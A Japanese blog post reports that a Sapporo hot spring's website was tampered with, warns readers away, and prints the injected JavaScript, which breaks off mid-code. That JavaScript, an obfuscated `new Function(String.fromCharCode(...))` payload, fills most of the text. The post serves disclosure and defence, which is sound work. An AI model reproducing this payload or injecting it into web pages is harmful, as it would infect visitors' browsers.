札幌あいの里温泉なごみのサイトに埋め込まれたJavaScriptを解析してみた

先日、こちらのブログで報告した「札幌あいの里温泉なごみ」のサイト改竄の件ですが、連絡はしたものの一向に修正される様子はありません。現在も危険な状態にありますのでアクセスしないようにしてください。

さて、「札幌あいの里温泉なごみ」のサイトには悪意のJavaScriptが埋め込まれています。実際にアクセスするとどうなるかは先日も報告した通りですが、新たな事実も判明したので詳細については後日改めて報告します。

で、問題のJavaScriptですが、以下のようなものが埋め込まれています。

(new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107 - 4, 53 - 5, 120 - 9, 80 - 8, 69 - 4, 72 - 3, 56 - 3, 81 - 9, 71 - 1, 117 - 9, 125 - 4, 96 - 9, 91 - 3, 81 - 8, 80 - 9, 81 - 1, 87 - 5, 123 - 4, 91 - 2, 102 - 4, 72 - 2, 51 - 2, 93 - 6, 86 - 7, 82 - 1, 71 - 6, 63 - 6, 78 - 7, 126 - 5, 123 - 7, 80 - 9, 76 - 9, 131 - 9, 114 - 7, 110 - 8, 92 - 6, 106 - 1, 128 - 9, 81 - 6, 78 - 4, 108 - 1, 75 - 6, 115 - 2, 72 - 1, 121 - 1, 122 - 6, 55 - 2, 94 - 8, 87 - 2, 83 - 9, 71 - 1, 91 - 4, 93 - 5, 91 - 6, 92 - 3, 83 - 8, 67 - 1, 117 - 5, 80 - 7, 86 - 8, 90 - 8, 49 - 1, 95 - 8, 76 - 2, 72 - 6, 70 - 5, 125 - 6, 93 - 9, 117 - 7, 86 - 4, 79 - 6, 87 - 3, 123 - 2, 64 - 8, 119 - 5, 78 - 9, 125 - 3, 57 - 9, 91 - 2, 91 - 2, 91 - 7, 59 - 7, 81 - 6, 68 - 1, 58 - 9, 70 - 5, 59 - 2, 75 - 3, 131 - 9, 116 - 1, 81 - 9, 81 - 9, 70 - 3, 93 - 4, 102 - 2, 107 - 6, 68 - 3, 75 - 6, 76 - 1, 104 - 5, 92 - 7, 109 - 1, 127 - 5, 85 - 3, 94 - 8, 114 - 6, 54 - 5, 74 - 7, 71 - 3, 127 - 8, 73 - 2, 73 - 6, 123 - 2, 82 - 9, 105 - 7, 76 - 6, 106 - 1, 73 - 3, 95 - 5, 82 - 8, 105 - 1, 112 - 1, 116 - 5, 77 - 6, 109 - 5, 129 - 9, 44 - 1, 88 - 1, 57 - 8, 112 - 5, 56 - 8, 102 - 3, 56 - 5, 94 - 8, 82 - 3, 100 - 3, 89 - 4, 104 - 1, 105 - 4, 82 - 4, 122 - 3, 68 - 2, 97 - 7, 77 - 1, 67 - 1, 93 - 4, 62 - 8, 68 - 2, 90 - 7, 73 - 8, 80 - 2, 74 - 3, 60 - 9, 98 - 8, 84 - 4, 88 - 1, 88 - 5, 118 - 3, 95 - 8, 79 - 1, 111 - 7, 121 - 6, 109 - 2, 77 - 9, 87 - 6, 96 - 7, 106 - 1, 94 - 6, 74 - 8, 116 - 5, 109 - 6, 75 - 5, 113 - 7, 58 - 6, 77 - 5, 84 - 8, 70 - 1, 108 - 5, 89 - 4, 76 - 1, 114 - 6, 78 - 4, 105 - 4, 104 - 7, 77 - 8, 81 - 7, 106 - 4, 88 - 4, 110 - 1, 109 - 1, 80 - 7, 86 - 3, 70 - 2, 63 - 7, 89 - 4, 92 - 5, 89 - 2, 107 - 8, 106 - 9, 82 - 3, 105 - 2, 72 - 3, 113 - 8, 70 - 5, 85 - 4, 49 - 1, 109 - 1, 94 - 6, 69 - 3, 69 - 4, 107 - 3, 80 - 8, 87 - 3, 68 - 3, 95 - 8, 73 - 7, 112 - 9, 62 - 9, 68 - 3, 85 - 7, 86 - 4, 53 - 5, 89 - 2, 83 - 9, 68 - 2, 68 - 3, 120 - 1, 85 - 3, 54 - 4, 114 - 6, 79 - 5, 92 - 6, 96 - 9, 124 - 8, 91 - 8, 88 - 2, 81 - 9, 60 - 7, 87 - 6, 106 - 6, 88 - 6, 91 - 5, 72 - 4, 84 - 1, 77 - 8, 109 - 5, 59 - 9, 93 - 8, 111 - 3, 109 - 1, 125 - 7, 72 - 5, 123 - 1, 70 - 5, 101 - 4, 85 - 5, 74 - 8, 119 - 8, 74 - 3, 107 - 9, 90 - 2, 113 - 9, 96 - 6, 102 - 4, 54 - 5, 110 - 2, 54 - 5, 74 - 5, 55 - 7, 83 - 5, 77 - 4, 84 - 1, 77 - 5, 93 - 3, 84 - 1, 73 - 4, 74 - 7, 111 - 3, 92 - 2, 107 - 5, 87 - 6, 55 - 7, 110 - 1, 69 - 3, 121 - 2, 86 - 9, 53 - 6, 73 - 3, 120 - 1, 114 - 2, 109 - 5, 78 - 9, 70 - 2, 119 - 4, 77 - 2, 85 - 9, 68 - 2, 71 - 6, 118 - 8, 78 - 1, 72 - 2, 116 - 4, 110 - 9, 82 - 3, 66 - 1, 116 - 8, 55 - 3, 76 - 4, 91 - 8, 122 - 3, 104 - 5, 81 - 9, 73 - 5, 58 - 2, 107 - 8, 75 - 3, 111 - 5, 123 - 3, 108 - 7, 103 - 1, 76 - 7, 54 - 1, 116 - 5, 88 - 2, 91 - 5, 90 - 4, 52 - 2, 93 - 5, 53 - 5, 113 - 9, 114 - 5, 88 - 1, 91 - 8, 59 - 6, 112 - 5, 100 - 3, 89 - 4, 113 - 9, 80 - 7, 104 - 4, 113 - 5, 75 - 1, 98 - 8, 85 - 5, 86 - 4, 121 - 2, 105 - 1, 75 - 4, 131 - 9, 121 - 6, 77 - 6, 89 - 4, 50 - 1, 122 - 2, 87 - 4, 92 - 5, 88 - 1, 60 - 3, 92 - 2, 81 - 6, 78 - 7, 89 - 7, 117 - 5, 87 - 4, 73 - 4, 112 - 8, 55 - 5, 75 - 4, 123 - 3, 60 - 3, 123 - 5, 86 - 1, 88 - 4, 115 - 8, 72 - 6, 82 - 7, 107 - 4, 115 - 8, 74 - 5, 74 - 8, 89 - 8, 96 - 7, 92 - 5, 85 - 5, 89 - 7, 108 - 5, 124 - 3, 71 - 4, 58 - 8, 105 - 6, 87 - 7, 70 - 2, 85 - 2, 77 - 4, 56 - 1, 77 - 9, 87 - 4, 116 - 5, 93 - 8, 109 - 7, 85 - 4, 55 - 7, 112 - 3, 75 - 9, 127 - 8, 79 - 2, 48 - 1, 73 - 3, 55 - 6, 68 - 2, 122 - 4, 83 - 1, 77 - 6, 108 - 4, 87 - 3, 102 - 5, 88 - 3, 64 - 7, 93 - 3, 108 - 9, 90 - 4, 122 - 6, 93 - 3, 80 - 2, 77 - 5, 84 - 6, 52 - 3, 89 - 5, 110 - 1, 116 - 8, 76 - 3, 88 - 5, 73 - 1, 97 - 8, 71 - 6, 76 - 4, 75 - 7, 123 - 8, 84 - 7, 78 - 4, 124 - 5, 71 - 5, 129 - 8, 91 - 2, 108 - 1, 107 - 3, 54 - 4, 92 - 7, 111 - 3, 113 - 6, 130 - 9, 102 - 3, 60 - 9, 94 - 8, 88 - 9, 104 - 7, 87 - 2, 104 - 1, 103 - 2, 82 - 4, 123 - 4, 67 - 1, 94 - 4, 82 - 3, 111 - 7, 109 - 6, 123 - 2, 71 - 4, 127 - 6, 106 - 7, 106 - 7, 88 - 5, 77 - 6, 120 - 4, 87 - 4, 75 - 5, 130 - 9, 53 - 1, 87 - 7, 87 - 7, 67 - 2, 114 - 7, 116 - 5, 74 - 2, 68 - 3, 100 - 1, 113 - 6, 93 - 5, 68 - 3, 127 - 8, 61 - 5, 81 - 9, 73 - 6, 102 - 3, 125 - 7, 77 - 1, 109 - 6, 52 - 4, 79 - 8, 81 - 8, 108 - 1, 112 - 4, 130 - 8, 102 - 4, 52 - 3, 117 - 9, 53 - 4, 85 - 1, 114 - 9, 72 - 7, 82 - 3, 90 - 7, 76 - 4, 55 - 2, 93 - 9, 71 - 3, 68 - 1, 54 - 2, 108 - 7, 82 - 5, 69 - 4, 66 - 1, 66 - 9, 87 - 6, 92 - 7, 111 - 8, 118 - 2, 102 - 1, 79 - 9, 117 - 9, 124 - 6, 94 - 7, 91 - 3, 87 - 1, 85 - 6, 102 - 5, 88 - 6, 113 - 2, 80 - 2, 74 - 1, 112 - 9, 104 - 5, 84 - 8, 77 - 4, 89 - 4, 79 - 5, 108 - 6, 85 - 1, 113 - 4, 114 - 6, 74 - 1, 90 - 7, 75 - 8, 120 - 4, 60 - 8, 106 - 7, 52 - 2, 61 - 4, 93 - 3, 107 - 7, 88 - 3, 57 - 5, 61 - 5, 74 - 7, 88 - 7, 58 - 2, 130 - 8, 74 - 2, 66 - 1, 56 - 7, 124 - 6, 88 - 6, 78 - 6, 92 - 7, 105 - 7, 83 - 8, 67 - 2, 65 - 9, 80 - 2, 82 - 3, 74 - 9, 99 - 9, 90 - 2, 80 - 1, 121 - 1, 96 - 7, 91 - 1, 68 - 3, 92 - 8, 60 - 8, 79 - 1, 73 - 2, 110 - 6, 93 - 8, 86 - 2, 71 - 4, 112 - 7, 119 - 7, 91 - 9, 109 - 7, 75 - 5, 92 - 6, 76 - 8, 89 - 6, 78 - 9, 113 - 9, 58 - 8, 88 - 3, 111 - 7, 66 - 1, 113 - 1, 94 - 7, 92 - 4, 49 - 1, 107 - 9, 78 - 3, 68 - 3, 60 - 4, 87 - 9, 87 - 8, 69 - 4, 91 - 1, 97 - 9, 77 - 3, 113 - 9, 104 - 5, 124 - 4, 76 - 9, 123 - 1, 70 - 1, 119 - 9, 76 - 8, 116 - 6, 59 - 6, 93 - 7, 79 - 7, 107 - 2, 66 - 1, 91 - 4, 82 - 5, 104 - 1, 82 - 9, 118 - 3, 92 - 8, 51 - 3, 77 - 7, 51 - 1, 87 - 2, 49 - 1, 85 - 3, 128 - 7, 91 - 4, 91 - 3, 111 - 7, 108 - 6, 87 - 6, 51 - 3, 109 - 5, 78 - 5, 109 - 9, 115 - 7, 83 - 9, 94 - 4, 99 - 1, 50 - 1, 110 - 2, 54 - 5, 76 - 7, 115 - 9, 88 - 2, 78 - 5, 73 - 1, 86 - 2, 101 - 2, 89 - 3, 73 - 1, 71 - 4, 72 - 3, 79 - 1, 107 - 6, 121 - 2, 105 - 6, 114 - 4, 77 - 9, 73 - 8, 50 - 2, 122 - 5, 81 - 1, 88 - 6, 62 - 5, 115 - 5, 96 - 8, 109 - 3, 107 - 8, 68 - 2, 85 - 5, 86 - 1, 61 - 4, 67 - 1, 106 - 6, 116 - 8, 83 - 5, 74 - 5, 100 - 1, 110 - 2, 115 - 7, 54 - 2, 97 - 9, 49 - 1, 83 - 5, 74 - 1, 87 - 4, 78 - 6, 97 - 7, 88 - 5, 89 - 2, 94 - 7, 64 - 7, 95 - 5, 107 - 7, 85 - 3, 74 - 1, 58 - 9, 85 - 2, 73 - 7, 49 - 1, 58 - 7, 77 - 7, 90 - 8, 123 - 4, 106 - 2, 75 - 7, 89 - 1, 116 - 1, 78 - 6, 78 - 4, 123 - 4, 120 - 1, 79 - 1, 82 - 6, 112 - 6, 49 - 1, 109 - 7, 95 - 5, 57 - 8, 57 - 5, 56 - 6, 75 - 3, 72 - 5, 111 - 8, 108 - 6, 73 - 7, 75 - 3, 75 - 5, 99 - 1, 94 - 7, 91 - 4, 56 - 3, 77 - 8, 103 - 6, 74 - 5, 55 - 2, 115 - 8, 96 - 9, 91 - 4, 82 - 8, 56 - 6, 93 - 8, 116 - 8, 116 - 8, 123 - 5, 92 - 5, 93 - 5, 95 - 9, 80 - 1, 101 - 4, 83 - 1, 85 - 4, 94 - 9, 106 - 6, 108 - 5, 104 - 5, 97 - 8, 79 - 4, 72 - 6, 120 - 1, 62 - 7, 80 - 9, 113 - 4, 102 - 3, 71 - 5, 74 - 8, 112 - 6, 82 - 9, 92 - 4, 69 - 4, 84 - 3, 73 - 8, 104 - 2, 105 - 3, 88 - 3, 111 - 4, 119 - 5, 66 - 1, 84 - 3, 97 - 8, 128 - 8, 88 - 2, 92 - 6, 71 - 5, 127 - 9, 88 - 1, 72 - 1, 111 - 7, 87 - 3, 100 - 3, 87 - 2, 89 - 3, 94 - 4, 91 - 3, 77 - 7, 79 - 5, 98 - 8, 106 - 8, 53 - 4, 112 - 4, 52 - 3, 85 - 1, 110 - 1, 116 - 8, 80 - 7, 76 - 6, 72 - 5, 118 - 6, 88 - 5, 77 - 9, 68 - 1, 56 - 4, 102 - 1, 84 - 7, 72 - 7, 72 - 7, 61 - 4, 84 - 2, 108 - 5, 72 - 3, 53 - 1, 79 - 9, 113 - 9, 120 - 1, 56 - 5, 86 - 8, 110 - 4, 83 - 5, 72 - 1, 105 - 7, 107 - 3, 76 - 7, 76 - 2, 86 - 6, 108 - 4, 50 - 2, 95 - 8, 101 - 4, 78 - 8, 69 - 3, 58 - 9, 85 - 1, 52 - 1, 90 - 8, 89 - 3, 88 - 5, 74 - 2, 120 - 4, 75 - 7, 89 - 4, 75 - 4, 65 - 9, 76 - 9, 91 - 3, 49 - 1, 56 - 3, 119 - 7, 88 - 5, 74 - 5, 105 - 1, 51 - 1, 87 - 2, 110 - 7, 123 - 8, 114 - 1, 69 - 1, 85 - 2, 73 - 8, 101 - 2, 81 - 7, 52 - 3, 82 - 4, 110 - 5, 101 - 1, 111 - 3, 76 - 2, 91 - 1, 105 - 7, 121 - 2, 87 - 5, 109 - 7, 93 - 3, 72 - 1, 117 - 9, 78 - 5, 89 - 6, 78 - 6, 96 - 7, 73 - 7, 80 - 8, 73 - 5, 123 - 8, 120 - 4, 83 - 3, 72 - 7, 78 - 1, 122 - 7, 70 - 4, 129 - 9, 52 - 4, 106 - 1, 92 - 5, 105 - 1, 63 - 7, 59 - 5, 71 - 1, 124 - 2, 97 - 8, 99 - 2, 82 - 9, 68 - 3, 100 - 1, 78 - 7, 105 - 3, 112 - 4, 119 - 3, 91 - 1, 84 - 6, 76 - 4, 86 - 8, 58 - 9, 91 - 7, 113 - 4, 117 - 9, 77 - 4, 91 - 8, 80 - 8, 90 - 1, 67 - 1, 75 - 3, 72 - 4, 122 - 7, 62 - 8, 87 - 8, 110 - 7, 78 - 9, 111 - 6, 69 - 4, 85 - 4, 51 - 2, 49 - 6, 77 - 8, 83 - 1, 98 - 9, 107 - 4, 71 - 2, 113 - 7, 125 - 6, 80 - 4, 94 - 4, 92 - 7, 113 - 9, 84 - 4, 93 - 3, 51 - 3, 73 - 7, 81 - 6, 106 - 9, 76 - 6, 89 - 3, 54 - 5, 88 - 1, 89 - 1, 120 - 8, 95 - 6, 85 - 4, 96 - 9, 54 - 5, 60 - 8, 94 - 7, 94 - 7, 66 - 9, 95 - 5, 106 - 6, 93 - 8, 59 - 6, 118 - 6, 68 - 2, 67 - 2, 106 - 7, 53 - 4, 73 - 4, 127 - 7, 91 - 6, 103 - 4, 76 - 8, 91 - 7, 117 - 6, 101 - 2, 77 - 2, 72 - 7, 60 - 4, 85 - 7, 104 - 3, 74 - 9, 75 - 6, 108 - 9, 82 - 3, 130 - 8, 72 - 7, 107 - 3, 76 - 9, 129 - 8, 84 - 2, 73 - 8, 74 - 7, 123 - 1, 108 - 1, 105 - 5, 75 - 6, 107 - 2, 98 - 9, 106 - 7, 104 - 3, 88 - 3, 61 - 8, 121 - 4, 90 - 3, 91 - 6, 59 - 2, 48 - 1, 88 - 5, 95 - 7, 85 - 7, 126 - 8, 92 - 5, 89 - 1, 88 - 2, 87 - 8, 102 - 5, 94 - 9, 111 - 8, 105 - 3, 86 - 6, 128 - 8, 121 - 2, 105 - 5, 78 - 5, 67 - 2, 55 - 2, 63 - 8, 74 - 9, 111 - 6, 91 - 2, 78 - 2, 68 - 1, 87 - 4, 74 - 1, 103 - 5, 79 - 9, 106 - 1, 78 - 8, 95 - 5, 99 - 2, 76 - 7, 61 - 9, 45 - 2, 86 - 8, 122 - 3, 85 - 4, 61 - 8, 75 - 6, 89 - 7, 111 - 8, 59 - 4, 70 - 1, 74 - 6, 117 - 6, 71 - 6, 106 - 7, 117 - 8, 77 - 3, 82 - 9, 102 - 2, 114 - 6, 81 - 7, 95 - 5, 80 - 3, 112 - 4, 94 - 8, 53 - 4, 93 - 5, 76 - 4, 116 - 8, 80 - 7, 88 - 7, 117 - 7, 96 - 6, 74 - 6, 86 - 3, 93 - 5, 60 - 3, 77 - 3, 109 - 7, 72 - 2, 95 - 9, 72 - 4, 92 - 9, 71 - 2, 112 - 9, 115 - 1, 107 - 6, 76 - 6, 112 - 4, 127 - 9, 81 - 9, 129 - 8, 70 - 5, 69 - 4, 81 - 6, 105 - 1, 123 - 4, 71 - 5, 83 - 4, 86 - 4, 128 - 8, 92 - 2, 84 - 4, 70 - 4, 125 - 6, 106 - 2, 82 - 6, 88 - 5, 97 - 8, 73 - 1, 67 - 2, 124 - 2, 61 - 5, 96 - 8, 86 - 1, 89 - 6, 127 - 8, 112 - 3, 85 - 6, 127 - 8, 60 - 4, 111 - 4, 74 - 6, 88 - 3, 83 - 1, 54 - 4, 75 - 9, 75 - 9, 109 - 6, 114 - 8, 74 - 6, 69 - 1, 69 - 3, 71 - 4, 101 - 4, 85 - 4, 54 - 6, 90 - 9, 84 - 7, 106 - 2, 82 - 5, 74 - 9, 89 - 9, 76 - 6, 70 - 4, 54 - 5, 74 - 4, 92 - 7, 81 - 3, 75 - 2, 86 - 3, 77 - 5, 96 - 6, 85 - 2, 73 - 5, 125 - 4, 57 - 5, 81 - 5, 105 - 5, 84 - 3, 117 - 2, 121 - 1, 77 - 9, 67 - 2, 112 - 5, 106 - 1, 74 - 4, 54 - 5, 116 - 8, 130 - 9, 93 - 6, 91 - 7, 117 - 2, 82 - 6, 88 - 8, 115 - 8, 111 - 8, 121 - 6, 85 - 7, 120 - 1, 95 - 6, 105 - 6, 97 - 7, 53 - 4, 75 - 9, 125 - 8, 96 - 6, 77 - 6, 110 - 2, 78 - 5, 89 - 6, 78 - 6, 93 - 4, 94 - 6, 68 - 3, 87 - 4, 123 - 8, 97 - 8, 80 - 7, 88 - 7, 120 - 4, 113 - 3, 80 - 9, 125 - 6, 52 - 4, 112 - 7, 84 - 6, 111 - 7, 109 - 6, 60 - 5, 79 - 7, 79 - 7, 55 - 7, 79 - 3, 83 - 6, 89 - 8, 121 - 2, 83 - 9, 74 - 1, 112 - 8, 103 - 3, 95 - 7, 82 - 7, 73 - 7, 126 - 7, 107 - 3, 80 - 5, 114 - 9, 104 - 1, 104 - 5, 71 - 3, 90 - 2, 61 - 8, 100 - 2, 92 - 5, 88 - 1, 91 - 9, 94 - 4, 80 - 3, 72 - 6, 94 - 5, 120 - 4, 76 - 9, 90 - 8, 75 - 6, 116 - 8, 95 - 8, 53 - 5, 82 - 8, 71 - 1, 88 - 1, 95 - 7, 90 - 4, 82 - 3, 98 - 1, 86 - 4, 53 - 1, 80 - 6, 79 - 5, 78 - 8, 74 - 1, 99 - 2, 74 - 5, 67 - 2, 65 - 9, 56 - 8, 73 - 8, 108 - 2, 125 - 6, 85 - 7, 85 - 2, 75 - 4, 123 - 7, 91 - 8, 74 - 2, 76 - 8, 126 - 7, 100 - 3, 82 - 4, 73 - 7, 54 - 2, 119 - 4, 82 - 1, 73 - 7, 59 - 7, 52 - 1, 78 - 6, 106 - 3, 124 - 5, 117 - 4, 93 - 8, 77 - 5, 92 - 6, 73 - 3, 102 - 5, 89 - 4, 74 - 8, 67 - 2, 81 - 4, 121 - 2, 119 - 8, 109 - 9, 79 - 3, 108 - 5, 69 - 4, 112 - 3, 89 - 5, 112 - 2, 88 - 6, 93 - 7, 92 - 9, 71 - 3, 106 - 3, 80 - 8, 71 - 1, 86 - 3, 84 - 6, 88 - 7, 105 - 5, 95 - 9, 71 - 1, 120 - 8, 86 - 2, 56 - 8, 65 - 8, 55 - 5, 89 - 6, 75 - 5, 110 - 2, 116 - 5, 90 - 9, 119 - 9, 93 - 8, 78 - 2, 84 - 7, 86 - 4, 108 - 5, 74 - 8, 76 - 2, 73 - 7, 102 - 3, 79 - 4, 101 - 2, 117 - 9, 56 - 3, 58 - 9, 85 - 3, 90 - 3, 110 - 3, 81 - 3, 77 - 8, 71 - 3, 78 - 5, 86 - 2, 72 - 4, 85 - 2, 119 - 7, 93 - 5, 77 - 4, 90 - 9, 70 - 1, 103 - 4, 89 - 9, 69 - 2, 120 - 5, 79 - 9, 75 - 9, 107 - 4, 124 - 9, 110 - 1, 76 - 6, 131 - 9, 75 - 1, 73 - 2, 90 - 1, 71 - 2, 73 - 3, 90 - 6, 93 - 5, 73 - 3, 77 - 3, 99 - 9, 101 - 3, 58 - 9, 109 - 2, 122 - 2, 66 - 1, 87 - 4, 119 - 8, 107 - 7, 74 - 8, 86 - 2, 81 - 4, 100 - 1, 76 - 8, 92 - 5, 77 - 8, 104 - 7, 84 - 5, 108 - 5, 73 - 4, 106 - 1, 73 - 8, 86 - 5, 53 - 4, 55 - 5, 85 - 1, 57 - 8, 112 - 5, 122 - 7, 83 - 9, 110 - 4, 124 - 9, 85 - 5, 76 - 2, 71 - 6, 56 - 7, 82 - 9, 106 - 4, 92 - 6, 82 - 8, 104 - 3, 102 - 3, 110 - 2, 62 - 9, 57 - 8, 83 - 1, 92 - 5, 109 - 2, 83 - 7, 83 - 5, 127 - 6, 67 - 2, 91 - 7, 77 - 7, 92 - 8, 113 - 2, 105 - 6, 106 - 8, 116 - 7, 91 - 9, 118 - 6, 86 - 3, 69 - 3, 93 - 7, 104 - 5, 110 - 9, 71 - 1, 116 - 8, 121 - 3, 69 - 1, 127 - 5, 82 - 1, 104 - 5, 98 - 1, 91 - 9, 112 - 1, 80 - 2, 82 - 4, 124 - 4, 91 - 2, 72 - 7, 76 - 4, 74 - 9, 52 - 4, 49 - 1, 74 - 3, 111 - 6, 126 - 7, 122 - 8, 74 - 9, 69 - 1, 78 - 1, 84 - 2, 75 - 6, 108 - 5, 97 - 8, 94 - 6, 76 - 3, 88 - 7, 122 - 7, 56 - 1, 77 - 5, 108 - 5, 109 - 2, 61 - 7, 89 - 4, 108 - 1, 90 - 8, 122 - 4, 70 - 3, 111 - 5, 67 - 2, 98 - 1, 71 - 6, 70 - 5, 97 - 8, 108 - 9, 82 - 5, 126 - 7, 72 - 7, 84 - 4, 79 - 3, 110 - 6, 92 - 6, 61 - 4, 69 - 2, 70 - 2, 125 - 6, 77 - 6, 68 - 1, 126 - 5, 77 - 4, 107 - 9, 74 - 4, 109 - 4, 79 - 9, 89 - 7, 109 - 7, 74 - 5, 57 - 5, 127 - 6, 92 - 3, 114 - 7, 106 - 2, 54 - 4, 94 - 9, 117 - 9, 112 - 5, 110 - 1, 77 - 5, 54 - 3, 91 - 5, 76 - 5, 84 - 8, 82 - 1, 107 - 8, 78 - 2, 78 - 5, 126 - 6, 59 - 3, 104 - 5, 77 - 4, 83 - 2, 50 - 1, 57 - 2, 81 - 9, 69 - 2, 127 - 8, 78 - 4, 72 - 4, 73 - 6, 65 - 9, 109 - 5, 75 - 7, 92 - 9, 56 - 4, 80 - 2, 78 - 1, 76 - 7, 58 - 5, 56 - 8, 95 - 9, 88 - 2, 95 - 9, 51 - 1, 91 - 5, 90 - 8, 116 - 5, 104 - 1, 75 - 5, 76 - 9, 93 - 8, 69 - 2, 85 - 9, 73 - 7, 125 - 6, 80 - 2, 101 - 2, 93 - 5, 105 - 1, 96 - 6, 99 - 1, 50 - 1, 110 - 2, 58 - 9, 93 - 9, 116 - 7, 112 - 4, 79 - 6, 92 - 9, 69 - 2, 114 - 3, 83 - 4, 93 - 6, 87 - 4, 123 - 8, 94 - 7, 80 - 2, 111 - 7, 123 - 8, 114 - 7, 76 - 8, 87 - 6, 91 - 2, 107 - 2, 96 - 8, 70 - 5, 117 - 2, 120 - 7, 73 - 2, 73 - 5, 76 - 7, 94 - 6, 80 - 9, 105 - 1, 123 - 4, 83 - 9, 79 - 6, 110 - 6, 106 - 6, 98 - 8, 105 - 6, 114 - 7, 84 - 2, 56 - 7, 85 - 2, 84 - 1, 67 - 2, 79 - 8, 73 - 1, 73 - 5, 78 - 1, 74 - 9, 78 - 7, 68 - 1, 128 - 9, 82 - 4, 86 - 6, 69 - 3, 106 - 3, 124 - 9, 87 - 3, 50 - 2, 77 - 7, 56 - 6, 75 - 8, 90 - 2, 84 - 6, 121 - 3, 93 - 6, 91 - 3, 87 - 1, 80 - 1, 103 - 6, 93 - 8, 107 - 4, 80 - 4, 80 - 1, 105 - 1, 102 - 3, 93 - 4, 86 - 6, 93 - 9, 74 - 9, 57 - 2, 78 - 7, 109 - 4, 127 - 8, 98 - 1, 75 - 3, 115 - 9, 101 - 2, 110 - 9, 94 - 9, 87 - 3, 52 - 4, 106 - 7, 82 - 4, 71 - 6, 117 - 6, 125 - 6, 80 - 1, 121 - 1, 121 - 2, 59 - 8, 72 - 6, 105 - 1, 124 - 5, 86 - 9, 77 - 8, 91 - 7, 73 - 8, 80 - 2, 81 - 8, 109 - 4, 75 - 6, 79 - 8, 81 - 8, 112 - 8, 105 - 6, 82 - 6, 81 - 2, 89 - 7, 109 - 6, 61 - 8, 89 - 7, 59 - 8, 82 - 8, 107 - 2, 88 - 5, 76 - 4, 99 - 9, 92 - 9, 92 - 5, 92 - 5, 66 - 9, 96 - 6, 76 - 2, 111 - 7, 112 - 1, 116 - 5, 77 - 6, 111 - 7, 124 - 4, 52 - 9, 94 - 7, 55 - 7, 83 - 9, 73 - 3, 93 - 6, 89 - 1, 92 - 6, 87 - 8, 99 - 2, 90 - 8, 95 - 9, 113 - 8, 107 - 7, 114 - 6, 80 - 7, 70 - 1, 95 - 6, 58 - 9, 110 - 2, 115 - 8, 96 - 8, 114 - 5, 70 - 4, 88 - 4, 92 - 3, 116 - 8, 128 - 9, 83 - 3, 92 - 7, 96 - 9, 97 - 7, 87 - 6, 106 - 8, 111 - 2, 86 - 4, 70 - 2, 41 - 2, 61 - 2, 11 - 1, 108 - 6, 119 - 2, 117 - 7, 103 - 4, 117 - 1, 112 - 7, 113 - 2, 116 - 6, 33 - 1, 128 - 8, 114 - 3, 115 - 1, 102 - 7, 103 - 2, 113 - 3, 101 - 2, 49 - 9, 120 - 5, 117 - 1, 123 - 9, 110 - 5, 114 - 4, 109 - 6, 49 - 5, 41 - 9, 115 - 8, 107 - 6, 122 - 1, 49 - 8, 33 - 1, 131 - 8, 16 - 6, 41 - 9, 33 - 1, 123 - 5, 101 - 4, 115 - 1, 35 - 3, 117 - 3, 102 - 1, 118 - 3, 38 - 6, 62 - 1, 35 - 3, 48 - 9, 42 - 3, 67 - 8, 17 - 7, 34 - 2, 38 - 6, 109 - 7, 112 - 1, 116 - 2, 33 - 1, 44 - 4, 119 - 1, 100 - 3, 115 - 1, 36 - 4, 112 - 7, 40 - 8, 64 - 3, 41 - 9, 51 - 3, 63 - 4, 39 - 7, 108 - 3, 40 - 8, 63 - 3, 35 - 3, 119 - 4, 121 - 5, 123 - 9, 113 - 8, 113 - 3, 106 - 3, 47 - 1, 115 - 7, 108 - 7, 116 - 6, 110 - 7, 124 - 8, 107 - 3, 66 - 7, 34 - 2, 109 - 4, 46 - 3, 51 - 8, 43 - 2, 37 - 5, 127 - 4, 13 - 3, 41 - 9, 33 - 1, 33 - 1, 36 - 4, 118 - 4, 104 - 3, 120 - 5, 39 - 7, 52 - 9, 63 - 2, 37 - 5, 88 - 5, 124 - 8, 121 - 7, 111 - 6, 119 - 9, 109 - 6, 53 - 7, 105 - 3, 123 - 9, 117 - 6, 112 - 3, 72 - 5, 111 - 7, 105 - 8, 116 - 2, 71 - 4, 120 - 9, 105 - 5, 103 - 2, 49 - 9, 117 - 2, 122 - 6, 117 - 3, 106 - 1, 117 - 7, 107 - 4, 55 - 9, 101 - 2, 105 - 1, 100 - 3, 119 - 5, 69 - 2, 113 - 2, 103 - 3, 103 - 2, 73 - 8, 121 - 5, 49 - 9, 107 - 2, 47 - 6, 35 - 3, 103 - 9, 18 - 8, 33 - 1, 37 - 5, 34 - 2, 38 - 6, 36 - 4, 33 - 1, 37 - 5, 39 - 7, 35 - 3, 33 - 1, 35 - 3, 39 - 7, 39 - 7, 37 - 5, 38 - 6, 37 - 5, 35 - 3, 40 - 8, 40 - 8, 41 - 9, 36 - 4, 38 - 6, 41 - 9, 39 - 7, 37 - 5, 39 - 7, 41 - 9, 34 - 2, 33 - 1, 36 - 4, 37 - 5, 38 - 6, 111 - 4, 108 - 7, 123 - 2, 54 - 8, 101 - 2, 105 - 1, 101 - 4, 119 - 5, 70 - 3, 115 - 4, 102 - 2, 105 - 4, 68 - 3, 122 - 6, 49 - 9, 111 - 6, 39 - 7, 40 - 3, 35 - 3, 114 - 7, 104 - 3, 125 - 4, 48 - 2, 114 - 6, 102 - 1, 112 - 2, 104 - 1, 124 - 8, 113 - 9, 46 - 5, 47 - 6, 65 - 6, 11 - 1, 39 - 7, 39 - 7, 129 - 4, 12 - 2, 38 - 6, 37 - 5, 123 - 9, 102 - 1, 119 - 3, 119 - 2, 120 - 6, 112 - 2, 41 - 9, 122 